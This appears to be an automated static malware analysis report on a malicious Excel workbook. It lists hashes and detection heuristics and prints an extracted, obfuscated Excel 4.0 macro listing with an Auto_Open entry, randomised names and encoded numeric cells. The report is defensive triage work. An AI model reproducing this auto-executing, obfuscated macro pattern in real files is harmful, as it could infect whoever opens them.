Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72efd833d7aeec3c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:35 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 1df11d2159283981d5bddfb4c921241c SHA-1: 854767fa2f3cdb975cdb49172cc677b9679c3587 SHA-256: 72efd833d7aeec3cef13fc45cbf5586a6964e760b57ea77edf9ef131d8d3db46
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6753 bytes
SHA-256: 6364fa5fa1be738ecc661ae47d2e6e77716df8469b3386558cc9145fe6a760e3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'xeNFPlQVzToO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZdoKWi
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G154 
' 0018     21 LABEL : Cell Value, String Constant - AwxldE len=0 
' 0018     24 LABEL : Cell Value, String Constant - BIXwfzOhI len=0 
' 0018     26 LABEL : Cell Value, String Constant - BmyXduqutmk len=0 
' 0018     21 LABEL : Cell Value, String Constant - ChVSQx len=0 
' 0018     22 LABEL : Cell Value, String Constant - CHvVGpE len=0 
' 0018     25 LABEL : Cell Value, String Constant - HhvbhBNQQj len=0 
' 0018     21 LABEL : Cell Value, String Constant - jQnrcQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - JZvbtrFpb len=0 
' 0018     25 LABEL : Cell Value, String Constant - mdDEXBfDtd len=0 
' 0018     26 LABEL : Cell Value, String Constant - MjpuXUsVVVP len=0 
' 0018     24 LABEL : Cell Value, String Constant - MOpwXPFAf len=0 
' 0018     24 LABEL : Cell Value, String Constant - nkfKzDEUC len=0 
' 0018     22 LABEL : Cell Value, String Constant - omLTRNn len=0 
' 0018     25 LABEL : Cell Value, String Constant - qmKLIsSvZb len=0 
' 0018     27 LABEL : Cell Value, String Constant - QPlylnnASZAR len=0 
' 0018     21 LABEL : Cell Value, String Constant - rZymqn len=0 
' 0018     26 LABEL : Cell Value, String Constant - SYNBcyYbcyM len=0 
' 0018     27 LABEL : Cell Value, String Constant - xeNFPlQVzToO len=0 
' 0018     24 LABEL : Cell Value, String Constant - xpoESifKJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZSFztR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZdoKWi,Q56,"",-52.00000000000000000000
'  ZdoKWi,Q57,"",78.00000000000000000000
'  ZdoKWi,Q58,"",-717.00000000000000000000
'  ZdoKWi,Q59,"",-358.00000000000000000000
'  ZdoKWi,Q60,"",-317.00000000000000000000
'  ZdoKWi,G61,"SET.NAME("MjpuXUsVVVP",0+VALUE("0"))",""
'  ZdoKWi,Q61,"",403.00000000000000000000
'  ZdoKWi,G65,"SET.NAME("AwxldE",MjpuXUsVVVP)",""
'  ZdoKWi,G70,"SET.NAME("mdDEXBfDtd",MjpuXUsVVVP)",""
'  ZdoKWi,G73,"SET.NAME("xeNFPlQVzToO",COUNTA(qmKLIsSvZb))",""
'  ZdoKWi,G77,"SET.NAME("BIXwfzOhI",COUNTA(SYNBcyYbcyM))",""
'  ZdoKWi,G80,[],""
'  ZdoKWi,G84,"SET.NAME("nkfKzDEUC","")",""
'  ZdoKWi,G86,"AwxldE",""
'  ZdoKWi,G91,"SET.NAME("CHvVGpE",HLOOKUP("*",qmKLIsSvZb,AwxldE,FALSE))",""
'  ZdoKWi,G96,"rZymqn",""
'  ZdoKWi,G98,"SET.NAME("xpoESifKJ",MjpuXUsVVVP)",""
'  ZdoKWi,G100,[],""
'  ZdoKWi,G105,"xpoESifKJ",""
'  ZdoKWi,G110,"BmyXduqutmk",""
'  ZdoKWi,G113,"ChVSQx",""
'  ZdoKWi,G116,"QPlylnnASZAR",""
'  ZdoKWi,G121,"SET.NAME("omLTRNn",VALUE(HLOOKUP("*",SYNBcyYbcyM,QPlylnnASZAR,FALSE)))",""
'  ZdoKWi,G123,"JZvbtrFpb",""
'  ZdoKWi,G128,"nkfKzDEUC",""
'  ZdoKWi,G131,"mdDEXBfDtd",""
'  ZdoKWi,G134,NEXT(),""
'  ZdoKWi,G136,"jQnrcQ",""
'  ZdoKWi,G139,[],""
'  ZdoKWi,G142,"HhvbhBNQQj",""
'  ZdoKWi,G147,NEXT(),""
'  ZdoKWi,G151,RETURN(),""
'  ZdoKWi,G173,"SET.NAME("ZSFztR",G61)",""
'  ZdoKWi,G176,"qmKLIsSvZb",""
'  ZdoKWi,G178,"SET.NAME("SYNBcyYbcyM",R82C14)",""
'  ZdoKWi,G181,"SET.NAME("HhvbhBNQQj",191)",""
'  ZdoKWi,G185,"SET.NAME("MOpwXPFAf",7)",""
'  ZdoKWi,G190,ZSFztR(),""
'  ZdoKWi,G191,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.